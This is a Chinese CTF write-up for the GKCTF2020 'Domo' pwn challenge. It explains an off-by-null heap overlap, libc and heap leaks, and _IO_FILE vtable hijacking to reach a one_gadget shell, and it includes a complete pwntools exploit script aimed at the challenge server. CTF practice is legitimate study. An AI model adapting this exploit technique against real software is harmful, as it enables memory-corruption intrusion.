寒假训练 [GKCTF2020]Domo(4/250) 劫持vtable

这是一道非常典型的vtable了,整个getshell的利用手法几乎是我目前会的所有的技巧了,不过还是看了p1ay2win师傅的博客才会写的

流程分析

add函数填入大小和内容,并且有off-by-null,有off-by-null很容易想到overlap

 

 edit函数,这个函数可以对任意位置进行读写一个值,但free_hook和malloc_hook都有检查,但我感觉还是可以修改别的,但我对linux的源码理解很差,所以无法想到别的

 

 show函数

 

 delete函数

 

 

 思路

  1. 首先heap题几乎都是先泄露libc,直接通过add一个不属于fastbin的大小chunk,在申请回来,打印出来即可泄露libc地址
  2. 由于我们需要overlap,所以我们需要知道堆的地址,让fake chunk->fd->bk=fake chunk,fake chunk->bk->fd=fake chunk,这是unsorted bin中的检查,所以我们需要leak heap地址,这里我们直接用泄露libc的方法来泄露heap地址
  3. 泄露完libc后,就可以开始overlap了,首先分配两个chunk,第一个(fake chunk)加第二个chunk-0x10要属于unsorted bin中,第三chunk也要属于unsorted bin,然后通过向上合并,进行unlink,注意这里的fake chunk的fd和bk指针需要过保护
  4. overlap后,由于malloc_hook和free_hook不能修改,但我们还有puts函数,由于有relo保护,所以我们可以通过劫持vtable来进行getshell,由于_IO_2_1_stdin_指向的是一个_IO_FILE_plus结构体,所以我们需要找到他的vtable,并且修改其值为我们的fake vtable
  5. 由于我们overlap了,我们可以释放掉先前分配出来的第二个chunk,然后修改其fd指针为我们_IO_2_1_stdin_所指的结构体里面,在这里,可以分配到160-3的位置(有个0x7f),然后根据偏移修改vtable指针,64位的是0xd8
  6. 修改vtable为自己的fake vtable后,自己的fake vtable是个one_gadget即可

exp

from pwn import *

#p=process('./domo')
p=remote('node3.buuoj.cn',25095)
#libc=ELF('../libc-2.23.so')
libc=ELF('./libc.so.6')
def add(size,content):
    p.sendlineafter('> ','1')
    p.sendlineafter('size:',str(size))
    p.sendlineafter('content:',content)

def delete(index):
    p.sendlineafter('> ','2')
    p.sendlineafter('index:',str(index))

def show(index):
    p.sendlineafter('> ','3')
    p.sendlineafter('index:\n',str(index))
    return p.recv(6)

def edit(addr,num):
    p.sendlineafter('> ','4')
    p.sendlineafter('addr:',str(addr))
    p.sendlineafter('num:',num)

#leak libc
add(0x40,p64(0)+p64(0xb0))#0
add(0x60,'')#1
add(0xf0,'pppp')#2
add(0x10,'')#3

delete(2)
add(0xf0,'')#2
libc.address=u64(show(2).ljust(8,b'\x00'))+(0x7ffff7bcdb78 - 0x7ffff7bcdb0a)-(0x7f3d7a680b78 - 0x7f3d7a2bc000)
print('libc:'+hex(libc.address))
#leak heap
add(0x10,'')#4
delete(3)
delete(4)
add(0x10,'')#3
heap=u64(show(3).ljust(8,b'\x00'))-0xa-0xf0
print('heap:'+hex(heap))
#overlap
delete(0)
add(0x40,p64(0)+p64(0xb1)+p64(heap+0x18)+p64(heap+0x20)+p64(heap+0x10))#0
delete(1)
add(0x68,b'\x00'*0x60+p64(0xb0))#1
delete(2)
#hook vtable
_IO_file_jumps = libc.sym['_IO_file_jumps']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
fake_chunk = _IO_2_1_stdin_ + 160 - 0x3
fake_vtable = heap + 0x210
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

add(0xc0,'')#2
add(0x60,'')#4

delete(4)
delete(1)
delete(2)

add(0xc0,b'p'*0x38+p64(0x71)+p64(fake_chunk))#1
add(0xa8,p64(0)+p64(0)+p64(libc.address + one_gadgets[2])*19)
add(0x60,'')#2
add(0x63,b'\x00'*3+p64(0)+p64(0)+p64(0xffffffff)+p64(0)+p64(0)+p64(fake_vtable)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0))

#delete()


#gdb.attach(p)
p.interactive()

 不足

这道题技巧都会了,但自己写的时候还是很懵逼,比如泄露libc的时候,我一开始就想的是利用overlap来泄露libc,但我忘记了需要过保护,当然这次libc的泄露方法以前有这么想过,但很少有题目会这么直观的给你leak libc,所以不能光懂技巧,更要懂本质。

关于file的目前已经了解了一点了,其实这里我们也没必要改那么多成员为one_gadget,但我还是太菜了,没有逆过这些源码

posted @ 2021-01-10 01:37  PYozo_free  阅读(196)  评论(0编辑  收藏  举报